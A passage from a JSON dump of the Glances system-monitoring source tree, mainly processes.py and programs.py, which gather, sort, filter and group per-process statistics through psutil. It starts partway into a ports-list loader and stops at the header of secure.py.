config.get_value(\n                    self._section, f'{postfix}description', default=\"{}:{}\".format(new_port['host'], new_port['port'])\n                )\n\n                # Default status\n                new_port['status'] = None\n\n                # Refresh rate in second\n                new_port['refresh'] = refresh\n\n                # Timeout in second\n                new_port['timeout'] = int(config.get_value(self._section, f'{postfix}timeout', default=timeout))\n\n                # RTT warning\n                new_port['rtt_warning'] = config.get_value(self._section, f'{postfix}rtt_warning', default=None)\n                if new_port['rtt_warning'] is not None:\n                    # Convert to second\n                    new_port['rtt_warning'] = int(new_port['rtt_warning']) / 1000.0\n\n                # Indice\n                new_port['indice'] = 'port_' + str(i)\n\n                # Add the server to the list\n                logger.debug(\"Add port {}:{} to the static list\".format(new_port['host'], new_port['port']))\n                ports_list.append(new_port)\n\n            # Ports list loaded\n            logger.debug(f\"Ports list loaded: {ports_list}\")\n\n        return ports_list\n\n    def get_ports_list(self):\n        \"\"\"Return the current server list (dict of dict).\"\"\"\n        return self._ports_list\n\n    def set_server(self, pos, key, value):\n        \"\"\"Set the key to the value for the pos (position in the list).\"\"\"\n        self._ports_list[pos][key] = value\n"
  },
  {
    "path": "glances/processes.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nimport os\n\nimport psutil\n\nfrom glances.filter import GlancesFilter, GlancesFilterList\nfrom glances.globals import (\n    BSD,\n    LINUX,\n    MACOS,\n    WINDOWS,\n    dictlist_first_key_value,\n    list_of_namedtuple_to_list_of_dict,\n    namedtuple_to_dict,\n)\nfrom glances.logger import logger\nfrom glances.programs import processes_to_programs\nfrom glances.timer import Timer, getTimeSinceLastUpdate\n\npsutil_version_info = tuple([int(num) for num in psutil.__version__.split('.')])\n\n# This constant defines the list of mandatory processes stats. Thoses stats can not be disabled by the user\nmandatory_processes_stats_list = ['pid', 'name']\n\n# This constant defines the list of available processes sort key\nsort_processes_stats_list = ['cpu_percent', 'memory_percent', 'username']\nsort_processes_stats_list += ['cpu_times', 'io_counters', 'name', 'cpu_num']\n\n# Sort dictionary for human\nsort_for_human = {\n    'io_counters': 'disk IO',\n    'cpu_percent': 'CPU consumption',\n    'memory_percent': 'memory consumption',\n    'cpu_times': 'process time',\n    'username': 'user name',\n    'name': 'processs name',\n    'cpu_num': 'CPU core number',\n    None: 'None',\n}\n\n\nclass GlancesProcesses:\n    \"\"\"Get processed stats using the psutil library.\"\"\"\n\n    def __init__(self, cache_timeout=60):\n        \"\"\"Init the class to collect stats about processes.\"\"\"\n        # Init the args, coming from the classes derived from GlancesMode\n        # Should be set by the set_args method\n        self.args = None\n\n        # The internals caches will be cleaned each 'cache_timeout' seconds\n        self.cache_timeout = cache_timeout\n        # First iteration, no cache\n        self.cache_timer = Timer(0)\n\n        # Init the io_old dict used to compute the IO bitrate\n        # key = pid\n        # value = [ read_bytes_old, write_bytes_old ]\n        self.io_old = {}\n\n        # Init stats\n        self.auto_sort = None\n        self._sort_key = None\n        # Default processes sort key is 'auto'\n        # Can be overwrite from the configuration file (issue#1536) => See glances_processlist.py init\n        self.set_sort_key('auto', auto=True)\n        self.processlist = []\n        self.reset_processcount()\n\n        # Cache is a dict with key=pid and value = dict of cached value\n        self.processlist_cache = {}\n\n        # List of processes to focus on\n        self._filter_focus = GlancesFilterList()\n\n        # List of processes stats to export\n        # Only process matching one of the filter will be exported\n        self._filter_export = GlancesFilterList()\n        self.processlist_export = []\n\n        # Tag to enable/disable the processes stats (to reduce the Glances CPU consumption)\n        # Default is to enable the processes stats\n        self.disable_tag = False\n\n        # Extended stats for top process is enable by default\n        self.disable_extended_tag = False\n        self.extended_process = None\n\n        # Tests (and disable if not available) optionals features\n        self._test_grab()\n\n        # Maximum number of processes showed in the UI (None if no limit)\n        self._max_processes = None\n\n        # Process filter\n        self._filter = GlancesFilter()\n\n        # Whether or not to hide kernel threads\n        self.no_kernel_threads = False\n\n        # Store maximums values in a dict\n        # Used in the UI to highlight the maximum value\n        self._max_values_list = ('cpu_percent', 'memory_percent')\n        # { 'cpu_percent': 0.0, 'memory_percent': 0.0 }\n        self._max_values = {}\n        self.reset_max_values()\n\n        # Set the key's list be disabled in order to only display specific attribute in the process list\n        self.disable_stats = []\n\n    def _test_grab(self):\n        \"\"\"Test somes optionals features\"\"\"\n        # Test if the system can grab io_counters\n        try:\n            p = psutil.Process()\n            p.io_counters()\n        except Exception as e:\n            logger.warning(f'PsUtil can not grab processes io_counters ({e})')\n            self.disable_io_counters = True\n        else:\n            logger.debug('PsUtil can grab processes io_counters')\n            self.disable_io_counters = False\n\n        # Test if the system can grab gids\n        try:\n            p = psutil.Process()\n            p.gids()\n        except Exception as e:\n            logger.warning(f'PsUtil can not grab processes gids ({e})')\n            self.disable_gids = True\n        else:\n            logger.debug('PsUtil can grab processes gids')\n            self.disable_gids = False\n\n        # Test if the system can grab cpu_num\n        try:\n            p = psutil.Process()\n            p.cpu_num()\n        except (AttributeError, Exception) as e:\n            logger.warning(f'PsUtil can not grab process cpu_num ({e})')\n            self.disable_cpu_num = True\n        else:\n            logger.debug('PsUtil can grab process cpu_num')\n            self.disable_cpu_num = False\n\n    def set_args(self, args):\n        \"\"\"Set args.\"\"\"\n        self.args = args\n\n        if self.args.process_focus is not None:\n            logger.info(f\"Focus process filter (--process-focus option) is set to: {self.args.process_focus}\")\n            self.process_focus = self.args.process_focus\n\n    def reset_internal_cache(self):\n        \"\"\"Reset the internal cache.\"\"\"\n        self.cache_timer = Timer(0)\n        self.processlist_cache = {}\n        if hasattr(psutil.process_iter, 'cache_clear'):\n            # Cache clear only available in PsUtil 6 or higher\n            psutil.process_iter.cache_clear()\n\n    def reset_processcount(self):\n        \"\"\"Reset the global process count\"\"\"\n        self.processcount = {'total': 0, 'running': 0, 'sleeping': 0, 'thread': 0, 'pid_max': None}\n\n    def update_processcount(self, plist):\n        \"\"\"Update the global process count from the current processes list\"\"\"\n        # Update the maximum process ID (pid) number\n        self.processcount['pid_max'] = self.pid_max\n        # For each key in the processcount dict\n        # count the number of processes with the same status\n        for k in list(self.processcount.keys()):\n            self.processcount[k] = len(list(filter(lambda v: v.get('status', '?') is k, plist)))\n        # Compute thread\n        try:\n            self.processcount['thread'] = sum(i['num_threads'] for i in plist if i['num_threads'] is not None)\n        except KeyError:\n            self.processcount['thread'] = None\n        # Compute total\n        self.processcount['total'] = len(plist)\n\n    def enable(self):\n        \"\"\"Enable process stats.\"\"\"\n        self.disable_tag = False\n        self.update()\n\n    def disable(self):\n        \"\"\"Disable process stats.\"\"\"\n        self.disable_tag = True\n\n    def enable_extended(self):\n        \"\"\"Enable extended process stats.\"\"\"\n        self.disable_extended_tag = False\n        self.update()\n\n    def disable_extended(self):\n        \"\"\"Disable extended process stats.\"\"\"\n        self.disable_extended_tag = True\n\n    @property\n    def pid_max(self):\n        \"\"\"\n        Get the maximum PID value.\n\n        On Linux, the value is read from the `/proc/sys/kernel/pid_max` file.\n\n        From `man 5 proc`:\n        The default value for this file, 32768, results in the same range of\n        PIDs as on earlier kernels. On 32-bit platforms, 32768 is the maximum\n        value for pid_max. On 64-bit systems, pid_max can be set to any value\n        up to 2^22 (PID_MAX_LIMIT, approximately 4 million).\n\n        If the file is unreadable or not available for whatever reason,\n        returns None.\n\n        Some other OSes:\n        - On FreeBSD and macOS the maximum is 99999.\n        - On OpenBSD >= 6.0 the maximum is 99999 (was 32766).\n        - On NetBSD the maximum is 30000.\n\n        :returns: int or None\n        \"\"\"\n        if LINUX:\n            # XXX: waiting for https://github.com/giampaolo/psutil/issues/720\n            try:\n                with open('/proc/sys/kernel/pid_max', 'rb') as f:\n                    return int(f.read())\n            except OSError:\n                return None\n        else:\n            return None\n\n    @property\n    def processes_count(self):\n        \"\"\"Get the current number of processes showed in the UI.\"\"\"\n        return min(self._max_processes - 2, glances_processes.processcount['total'] - 1)\n\n    @property\n    def max_processes(self):\n        \"\"\"Get the maximum number of processes showed in the UI.\"\"\"\n        return self._max_processes\n\n    @max_processes.setter\n    def max_processes(self, value):\n        \"\"\"Set the maximum number of processes showed in the UI.\"\"\"\n        self._max_processes = value\n\n    @property\n    def disable_stats(self):\n        \"\"\"Set disable_stats list\"\"\"\n        return self._disable_stats\n\n    @disable_stats.setter\n    def disable_stats(self, stats_list):\n        \"\"\"Set disable_stats list\"\"\"\n        self._disable_stats = [i for i in stats_list if i not in mandatory_processes_stats_list]\n\n    @property\n    def process_filter_input(self):\n        \"\"\"Get the process filter (given by the user).\"\"\"\n        return self._filter.filter_input\n\n    @property\n    def process_filter(self):\n        \"\"\"Get the process filter (current apply filter).\"\"\"\n        return self._filter.filter\n\n    @process_filter.setter\n    def process_filter(self, value):\n        \"\"\"Set the process filter.\"\"\"\n        self._filter.filter = value\n\n    @property\n    def process_filter_key(self):\n        \"\"\"Get the process filter key.\"\"\"\n        return self._filter.filter_key\n\n    @property\n    def process_filter_re(self):\n        \"\"\"Get the process regular expression compiled.\"\"\"\n        return self._filter.filter_re\n\n    # Process focus filter\n    # List of Glances filter\n\n    @property\n    def process_focus(self):\n        \"\"\"Get the focus process filter.\"\"\"\n        return self._filter_focus.filter\n\n    @process_focus.setter\n    def process_focus(self, value):\n        \"\"\"Set the focus process filter list.\"\"\"\n        self._filter_focus.filter = value\n\n    # Export filter\n    # List of Glances filter\n\n    @property\n    def export_process_filter(self):\n        \"\"\"Get the export process filter (current export process filter list).\"\"\"\n        return self._filter_export.filter\n\n    @export_process_filter.setter\n    def export_process_filter(self, value):\n        \"\"\"Set the export process filter list.\"\"\"\n        self._filter_export.filter = value\n\n    # Kernel threads\n\n    def disable_kernel_threads(self):\n        \"\"\"Ignore kernel threads in process list.\"\"\"\n        self.no_kernel_threads = True\n\n    @property\n    def sort_reverse(self):\n        \"\"\"Return True to sort processes in reverse 'key' order, False instead.\"\"\"\n        return self.sort_key not in ['name', 'username', 'cpu_num']\n\n    def max_values(self):\n        \"\"\"Return the max values dict.\"\"\"\n        return self._max_values\n\n    def get_max_values(self, key):\n        \"\"\"Get the maximum values of the given stat (key).\"\"\"\n        return self._max_values[key]\n\n    def set_max_values(self, key, value):\n        \"\"\"Set the maximum value for a specific stat (key).\"\"\"\n        self._max_values[key] = value\n\n    def reset_max_values(self):\n        \"\"\"Reset the maximum values dict.\"\"\"\n        self._max_values = {}\n        for k in self._max_values_list:\n            self._max_values[k] = 0.0\n\n    def set_extended_stats(self, proc):\n        \"\"\"Set the extended stats for the given PID.\"\"\"\n        # - cpu_affinity (Linux, Windows, FreeBSD)\n        # - ionice (Linux and Windows > Vista)\n        # - num_ctx_switches (not available on Illumos/Solaris)\n        # - num_fds (Unix-like)\n        # - num_handles (Windows)\n        # - memory_maps (only swap, Linux)\n        #   https://www.cyberciti.biz/faq/linux-which-process-is-using-swap/\n        # - connections (TCP and UDP)\n        # - CPU min/max/mean\n\n        # Set the extended stats list (OS dependent)\n        extended_stats = ['cpu_affinity', 'ionice', 'num_ctx_switches']\n        if LINUX:\n            # num_fds only available on Unix system (see issue #1351)\n            extended_stats += ['num_fds']\n        if WINDOWS:\n            extended_stats += ['num_handles']\n\n        ret = {}\n        try:\n            logger.debug('Grab extended stats for process {}'.format(proc['pid']))\n\n            # Get PID of the selected process\n            selected_process = psutil.Process(proc['pid'])\n\n            # Get the extended stats for the selected process\n            ret = selected_process.as_dict(attrs=extended_stats, ad_value=None)\n\n            # Get memory swap for the selected process (Linux Only)\n            ret['memory_swap'] = self.__get_extended_memory_swap(selected_process)\n\n            # Get number of TCP and UDP network connections for the selected process\n            ret['tcp'], ret['udp'] = self.__get_extended_connections(selected_process)\n        except (psutil.NoSuchProcess, ValueError, AttributeError) as e:\n            logger.error(f'Can not grab extended stats ({e})')\n            self.extended_process = None\n            ret['extended_stats'] = False\n        else:\n            # Compute CPU and MEM min/max/mean\n            # Merge the returned dict with the current on\n            ret.update(self.__get_min_max_mean(proc))\n            self.extended_process = ret\n            ret['extended_stats'] = True\n        return namedtuple_to_dict(ret)\n\n    def get_extended_stats(self):\n        \"\"\"Return the extended stats.\n\n        Return the process stat when extended_stats = True\n        \"\"\"\n        for p in self.processlist:\n            if p.get('extended_stats'):\n                return p\n        return None\n\n    def __get_min_max_mean(self, proc, prefix=['cpu', 'memory']):\n        \"\"\"Return the min/max/mean for the given process\"\"\"\n        ret = {}\n        for stat_prefix in prefix:\n            min_key = stat_prefix + '_min'\n            max_key = stat_prefix + '_max'\n            mean_sum_key = stat_prefix + '_mean_sum'\n            mean_counter_key = stat_prefix + '_mean_counter'\n            if min_key not in self.extended_process:\n                ret[min_key] = proc[stat_prefix + '_percent']\n            else:\n                ret[min_key] = min(proc[stat_prefix + '_percent'], self.extended_process[min_key])\n            if max_key not in self.extended_process:\n                ret[max_key] = proc[stat_prefix + '_percent']\n            else:\n                ret[max_key] = max(proc[stat_prefix + '_percent'], self.extended_process[max_key])\n            if mean_sum_key not in self.extended_process:\n                ret[mean_sum_key] = proc[stat_prefix + '_percent']\n            else:\n                ret[mean_sum_key] = self.extended_process[mean_sum_key] + proc[stat_prefix + '_percent']\n            if mean_counter_key not in self.extended_process:\n                ret[mean_counter_key] = 1\n            else:\n                ret[mean_counter_key] = self.extended_process[mean_counter_key] + 1\n            ret[stat_prefix + '_mean'] = ret[mean_sum_key] / ret[mean_counter_key]\n        return ret\n\n    def __get_extended_memory_swap(self, process):\n        \"\"\"Return the memory swap for the given process\"\"\"\n        if not LINUX:\n            return None\n        try:\n            memory_swap = sum([v.swap for v in process.memory_maps()])\n        except (psutil.NoSuchProcess, KeyError):\n            # (KeyError catch for issue #1551)\n            pass\n        except (psutil.AccessDenied, NotImplementedError):\n            # NotImplementedError: /proc/${PID}/smaps file doesn't exist\n            # on kernel < 2.6.14 or CONFIG_MMU kernel configuration option\n            # is not enabled (see psutil #533/glances #413).\n            memory_swap = None\n        return memory_swap\n\n    def __get_extended_connections(self, process):\n        \"\"\"Return a tuple with (tcp, udp) connections count\n        The code is compliant with both PsUtil<6 and Psutil>=6\n        \"\"\"\n        try:\n            # Hack for issue #2754 (PsUtil 6+)\n            if psutil_version_info[0] >= 6:\n                tcp = len(process.net_connections(kind=\"tcp\"))\n                udp = len(process.net_connections(kind=\"udp\"))\n            else:\n                tcp = len(process.connections(kind=\"tcp\"))\n                udp = len(process.connections(kind=\"udp\"))\n        except (psutil.AccessDenied, psutil.NoSuchProcess):\n            # Manage issue1283 (psutil.AccessDenied)\n            tcp = None\n            udp = None\n        return tcp, udp\n\n    def is_selected_extended_process(self, position):\n        \"\"\"Return True if the process is the selected one for extended stats.\"\"\"\n        return (\n            hasattr(self.args, 'programs')\n            and not self.args.programs\n            and hasattr(self.args, 'enable_process_extended')\n            and self.args.enable_process_extended\n            and not self.disable_extended_tag\n            and hasattr(self.args, 'cursor_position')\n            and position == self.args.cursor_position\n            and not self.args.disable_cursor\n        )\n\n    def build_process_list(self, sorted_attrs):\n        # Build the processes stats list (it is why we need psutil>=5.3.0) (see issue #2755)\n        processlist = list(\n            filter(\n                lambda p: (\n                    not (BSD and p.info['name'] == 'idle')\n                    and not (WINDOWS and p.info['name'] == 'System Idle Process')\n                    and not (MACOS and p.info['name'] == 'kernel_task')\n                    and not (self.no_kernel_threads and LINUX and p.info['gids'].real == 0)\n                ),\n                psutil.process_iter(attrs=sorted_attrs, ad_value=None),\n            )\n        )\n\n        # Only get the info key\n        # PsUtil 6+ no longer check PID reused #2755 so use is_running in the loop\n        # Note: not sure it is realy needed but CPU consumption look the same with or without it\n        return [p.info for p in processlist if p.is_running()]\n\n    def get_sorted_attrs(self):\n        defaults = ['cpu_percent', 'cpu_times', 'memory_percent', 'name', 'status', 'num_threads']\n        optional = ['io_counters'] if not self.disable_io_counters else []\n\n        return defaults + optional\n\n    def get_displayed_attr(self):\n        defaults = ['memory_info', 'nice', 'pid']\n        optional = []\n        if not self.disable_gids:\n            optional.append('gids')\n        if not self.disable_cpu_num:\n            optional.append('cpu_num')\n\n        return defaults + optional\n\n    def get_cached_attrs(self):\n        return ['cmdline', 'username']\n\n    def maybe_add_cached_attrs(self, sorted_attrs, cached_attrs):\n        # Some stats are not sort key\n        # An optimisation can be done be only grabbed displayed_attr\n        # for displayed processes (but only in standalone mode...)\n        sorted_attrs.extend(self.get_displayed_attr())\n        # Some stats are cached (not necessary to be refreshed every time)\n        if self.cache_timer.finished():\n            sorted_attrs += cached_attrs\n            self.cache_timer.set(self.cache_timeout)\n            self.cache_timer.reset()\n            is_cached = False\n        else:\n            is_cached = True\n\n        return is_cached, sorted_attrs\n\n    def get_pid_time_and_status(self, time_since_update, proc):\n        # PID is the key\n        proc['key'] = 'pid'\n\n        # Time since last update (for disk_io rate computation)\n        proc['time_since_update'] = time_since_update\n\n        # Process status (only keep the first char)\n        proc['status'] = str(proc.get('status', '?'))[:1].upper()\n\n        return proc\n\n    def get_io_counters(self, proc):\n        # procstat['io_counters'] is a list:\n        # [read_bytes, write_bytes, read_bytes_old, write_bytes_old, io_tag]\n        # If io_tag = 0 > Access denied or first time (display \"?\")\n        # If io_tag = 1 > No access denied (display the IO rate)\n        if 'io_counters' in proc and proc['io_counters'] is not None:\n            io_new = [proc['io_counters'][2], proc['io_counters'][3]]\n            # For IO rate computation\n            # Append saved IO r/w bytes\n            try:\n                proc['io_counters'] = io_new + self.io_old[proc['pid']]\n                io_tag = 1\n            except KeyError:\n                proc['io_counters'] = io_new + [0, 0]\n                io_tag = 0\n            # then save the IO r/w bytes\n            self.io_old[proc['pid']] = io_new\n        else:\n            proc['io_counters'] = [0, 0] + [0, 0]\n            io_tag = 0\n        # Append the IO tag (for display)\n        proc['io_counters'] += [io_tag]\n\n        return proc\n\n    def maybe_add_cached_stats(self, is_cached, cached_attrs, proc):\n        if is_cached:\n            # Grab cached values (in case of a new incoming process)\n            if proc['pid'] not in self.processlist_cache:\n                try:\n                    self.processlist_cache[proc['pid']] = psutil.Process(pid=proc['pid']).as_dict(\n                        attrs=cached_attrs, ad_value=None\n                    )\n                except psutil.NoSuchProcess:\n                    pass\n            # Add cached value to current stat\n            try:\n                proc.update(self.processlist_cache[proc['pid']])\n            except KeyError:\n                pass\n        else:\n            # Save values to cache\n            try:\n                self.processlist_cache[proc['pid']] = {cached: proc[cached] for cached in cached_attrs}\n            except KeyError:\n                pass\n\n        return proc\n\n    def update(self):\n        \"\"\"Update the processes stats.\"\"\"\n        # Init new processes stats\n        processlist = []\n\n        # Do not process if disable tag is set\n        if self.disable_tag:\n            return processlist\n\n        # Time since last update (for disk_io rate computation)\n        time_since_update = getTimeSinceLastUpdate('process_disk')\n\n        # Grab standard stats\n        #####################\n        sorted_attrs = self.get_sorted_attrs()\n\n        # The following attributes are cached and only retrieve every self.cache_timeout seconds\n        # Warning: 'name' can not be cached because it is used for filtering\n        cached_attrs = self.get_cached_attrs()\n\n        is_cached, sorted_attrs = self.maybe_add_cached_attrs(sorted_attrs, cached_attrs)\n\n        # Remove attributes set by the user in the config file (see #1524)\n        sorted_attrs = [i for i in sorted_attrs if i not in self.disable_stats]\n\n        # Build the process list\n        processlist = self.build_process_list(sorted_attrs)\n\n        # Sort the processes list by the current sort_key\n        # This is needed so that cursor_position matches the displayed order (see issue #3400)\n        processlist = sort_stats(processlist, sorted_by=self.sort_key, reverse=self.sort_reverse)\n\n        # Update the processcount\n        self.update_processcount(processlist)\n\n        # Loop over processes and :\n        # - add extended stats for selected process\n        # - add metadata\n        for position, proc in enumerate(processlist):\n            # Extended stats\n            ################\n\n            # Get the selected process when the 'e' key is pressed\n            if self.is_selected_extended_process(position):\n                self.extended_process = proc\n\n            # Grab extended stats only for the selected process (see issue #2225)\n            if self.extended_process is not None and proc['pid'] == self.extended_process['pid']:\n                proc.update(self.set_extended_stats(self.extended_process))\n                self.extended_process = namedtuple_to_dict(proc)\n\n            # Meta data\n            ###########\n            proc = self.get_pid_time_and_status(time_since_update, proc)\n\n            # Process IO\n            proc = self.get_io_counters(proc)\n\n            # Manage cached information\n            proc = self.maybe_add_cached_stats(is_cached, cached_attrs, proc)\n\n        # Remove non running process from the cache (avoid issue #2976)\n        self.remove_non_running_procs(processlist)\n\n        # Filter and transform process export list\n        self.processlist_export = self.update_export_list(processlist)\n\n        # Filter and transform process list\n        processlist = self.update_list(processlist)\n\n        # Compute the maximum value for keys in self._max_values_list: CPU, MEM\n        # Useful to highlight the processes with maximum values\n        self.compute_max_value(processlist)\n\n        # Update the stats\n        self.processlist = processlist\n\n        return self.processlist\n\n    def compute_max_value(self, processlist):\n        for k in [i for i in self._max_values_list if i not in self.disable_stats]:\n            values_list = [i[k] for i in processlist if i[k] is not None]\n            if values_list:\n                self.set_max_values(k, max(values_list))\n\n    def remove_non_running_procs(self, processlist):\n        pids_running = [p['pid'] for p in processlist]\n        pids_cached = list(self.processlist_cache.keys()).copy()\n        for pid in pids_cached:\n            if pid not in pids_running:\n                self.processlist_cache.pop(pid, None)\n\n    def update_list(self, processlist):\n        \"\"\"Return the process list after filtering and transformation (namedtuple to dict).\"\"\"\n        if self._filter_focus.filter is not None and self._filter_focus.filter != []:\n            ret = list(filter(lambda p: self._filter_focus.is_filtered(p), processlist))\n            return list_of_namedtuple_to_list_of_dict(ret)\n        if self._filter.filter is None:\n            return list_of_namedtuple_to_list_of_dict(processlist)\n        ret = list(filter(lambda p: self._filter.is_filtered(p), processlist))\n        return list_of_namedtuple_to_list_of_dict(ret)\n\n    def update_export_list(self, processlist):\n        \"\"\"Return the process export list after filtering and transformation (namedtuple to dict).\"\"\"\n        if self._filter_export.filter == []:\n            return []\n        ret = list(filter(lambda p: self._filter_export.is_filtered(p), processlist))\n        return list_of_namedtuple_to_list_of_dict(ret)\n\n    def get_count(self):\n        \"\"\"Get the number of processes.\"\"\"\n        return self.processcount\n\n    def get_list(self, sorted=False, as_programs=False):\n        \"\"\"Get the processlist (sorted or not).\n        By default, return the list of threads.\n        If as_programs is True, return the list of programs.\"\"\"\n        if sorted:\n            self.processlist = sort_stats(self.processlist, sorted_by=self.sort_key, reverse=self.sort_reverse)\n        if as_programs:\n            return processes_to_programs(self.processlist)\n        return self.processlist\n\n    def get_export(self):\n        \"\"\"Return the processlist for export.\"\"\"\n        return self.processlist_export\n\n    def get_stats(self, pid):\n        \"\"\"Get stats for the given pid.\"\"\"\n        return dictlist_first_key_value(self.processlist, 'pid', pid)\n\n    @property\n    def sort_key(self):\n        \"\"\"Get the current sort key.\"\"\"\n        return self._sort_key\n\n    def set_sort_key(self, key, auto=True):\n        \"\"\"Set the current sort key.\"\"\"\n        if key == 'auto':\n            self.auto_sort = True\n            self._sort_key = 'cpu_percent'\n        else:\n            self.auto_sort = auto\n            self._sort_key = key\n\n    def nice_decrease(self, pid):\n        \"\"\"Decrease nice level\n        On UNIX this is a number which usually goes from -20 to 20.\n        The higher the nice value, the lower the priority of the process.\"\"\"\n        p = psutil.Process(pid)\n        try:\n            p.nice(p.nice() - 1)\n            logger.info(f'Set nice level of process {pid} to {p.nice()} (higher the priority)')\n        except psutil.AccessDenied:\n            logger.warning(f'Can not decrease (higher the priority) the nice level of process {pid} (access denied)')\n\n    def nice_increase(self, pid):\n        \"\"\"Increase nice level\n        On UNIX this is a number which usually goes from -20 to 20.\n        The higher the nice value, the lower the priority of the process.\"\"\"\n        p = psutil.Process(pid)\n        try:\n            p.nice(p.nice() + 1)\n            logger.info(f'Set nice level of process {pid} to {p.nice()} (lower the priority)')\n        except psutil.AccessDenied:\n            logger.warning(f'Can not increase (lower the priority) the nice level of process {pid} (access denied)')\n\n    def kill(self, pid, timeout=3):\n        \"\"\"Kill process with pid\"\"\"\n        assert pid != os.getpid(), \"Glances can kill itself...\"\n        p = psutil.Process(pid)\n        logger.debug(f'Send kill signal to process: {p}')\n        p.kill()\n        return p.wait(timeout)\n\n\ndef weighted(value):\n    \"\"\"Manage None value in dict value.\"\"\"\n    return -float('inf') if value is None else value\n\n\ndef sort_by_these_keys(first, second):\n    return lambda process: (weighted(process.get(first)), weighted(process.get(second)))\n\n\ndef _sort_io_counters(process, sorted_by='io_counters', sorted_by_secondary='memory_percent'):\n    \"\"\"Specific case for io_counters\n\n    :return: Sum of io_r + io_w\n    \"\"\"\n    return process[sorted_by][0] - process[sorted_by][2] + process[sorted_by][1] - process[sorted_by][3]\n\n\ndef _sort_cpu_times(process, sorted_by='cpu_times', sorted_by_secondary='memory_percent'):\n    \"\"\"Specific case for cpu_times\n\n    Patch for \"Sorting by process time works not as expected #1321\"\n    By default PsUtil only takes user time into account\n    see (https://github.com/giampaolo/psutil/issues/1339)\n    The following implementation takes user and system time into account\n    \"\"\"\n    return process[sorted_by]['user'] + process[sorted_by]['system']\n\n\ndef _sort_lambda(sorted_by='cpu_percent', sorted_by_secondary='memory_percent'):\n    \"\"\"Return a sort lambda function for the sorted_by key\"\"\"\n    return {'io_counters': _sort_io_counters, 'cpu_times': _sort_cpu_times}.get(sorted_by, None)\n\n\ndef sort_stats(stats, sorted_by='cpu_percent', sorted_by_secondary='memory_percent', reverse=True):\n    \"\"\"Return the stats (dict) sorted by (sorted_by).\n    A secondary sort key should be specified.\n\n    Reverse the sort if reverse is True.\n    \"\"\"\n    if sorted_by is None and sorted_by_secondary is None:\n        # No need to sort...\n        return stats\n\n    # Check if a specific sort should be done\n    sort_lambda = _sort_lambda(sorted_by=sorted_by, sorted_by_secondary=sorted_by_secondary)\n\n    if sort_lambda is not None:\n        # Specific sort\n        try:\n            stats = sorted(stats, key=sort_lambda, reverse=reverse)\n        except Exception as e:\n            # If an error is detected, fallback to cpu_percent\n            logger.debug(f'Error while sorting by {sorted_by}, fallback to cpu_percent ({e})')\n            stats = sorted(stats, key=sort_by_these_keys('cpu_percent', sorted_by_secondary), reverse=reverse)\n    else:\n        # Standard sort\n        try:\n            stats = sorted(stats, key=sort_by_these_keys(sorted_by, sorted_by_secondary), reverse=reverse)\n        except (KeyError, TypeError) as e:\n            # Fallback to name\n            logger.debug(f'Error while sorting by {sorted_by}, fallback to name ({e})')\n            stats.sort(key=lambda process: process['name'] if process['name'] is not None else '~', reverse=False)\n\n    return stats\n\n\nglances_processes = GlancesProcesses()\n\n# End of file processes.py\n"
  },
  {
    "path": "glances/programs.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\nfrom collections import Counter\n\n# from glances.logger import logger\n\n# This constant defines the list of available processes sort key\nsort_programs_key_list = ['cpu_percent', 'memory_percent', 'cpu_times', 'io_counters', 'name']\n\n\ndef create_program_dict(p):\n    \"\"\"Create a new entry in the dict (new program)\"\"\"\n    return {\n        'time_since_update': p['time_since_update'],\n        # some values can be None, e.g. macOS system processes\n        'num_threads': p['num_threads'] or 0,\n        'cpu_percent': p['cpu_percent'] or 0,\n        'memory_percent': p['memory_percent'] or 0,\n        'cpu_times': p['cpu_times'] or {},\n        'memory_info': p['memory_info'] or {},\n        'io_counters': p['io_counters'] or {},\n        'childrens': [p['pid']],\n        # Others keys are not used\n        # but should be set to be compliant with the existing process_list\n        'name': p['name'],\n        'cmdline': [p['name']],\n        'pid': '_',\n        'username': p.get('username', '_'),\n        'nice': p['nice'],\n        'status': p['status'],\n    }\n\n\ndef update_program_dict(program, p):\n    \"\"\"Update an existing entry in the dict (existing program)\"\"\"\n    # some values can be None, e.g. macOS system processes\n    program['num_threads'] += p['num_threads'] or 0\n    program['cpu_percent'] += p['cpu_percent'] or 0\n    program['memory_percent'] += p['memory_percent'] or 0\n    program['cpu_times'] = dict(Counter(program['cpu_times'] or {}) + Counter(p['cpu_times'] or {}))\n    program['memory_info'] = dict(Counter(program['memory_info'] or {}) + Counter(p['memory_info'] or {}))\n\n    program['io_counters'] += p['io_counters']\n    program['childrens'].append(p['pid'])\n    # If all the subprocess has the same value, display it\n    program['username'] = p.get('username', '_') if p.get('username') == program['username'] else '_'\n    program['nice'] = p['nice'] if p['nice'] == program['nice'] else '_'\n    program['status'] = p['status'] if p['status'] == program['status'] else '_'\n\n\ndef compute_nprocs(p):\n    p['nprocs'] = len(p['childrens'])\n    return p\n\n\ndef processes_to_programs(processes):\n    \"\"\"Convert a list of processes to a list of programs.\"\"\"\n    # Start to build a dict of programs (key is program name)\n    programs_dict = {}\n    key = 'name'\n    for p in processes:\n        if p[key] not in programs_dict:\n            programs_dict[p[key]] = create_program_dict(p)\n        else:\n            update_program_dict(programs_dict[p[key]], p)\n\n    # Convert the dict to a list of programs\n    return [compute_nprocs(p) for p in programs_dict.values()]\n"
  },
  {
    "path": "glances/secure.py",
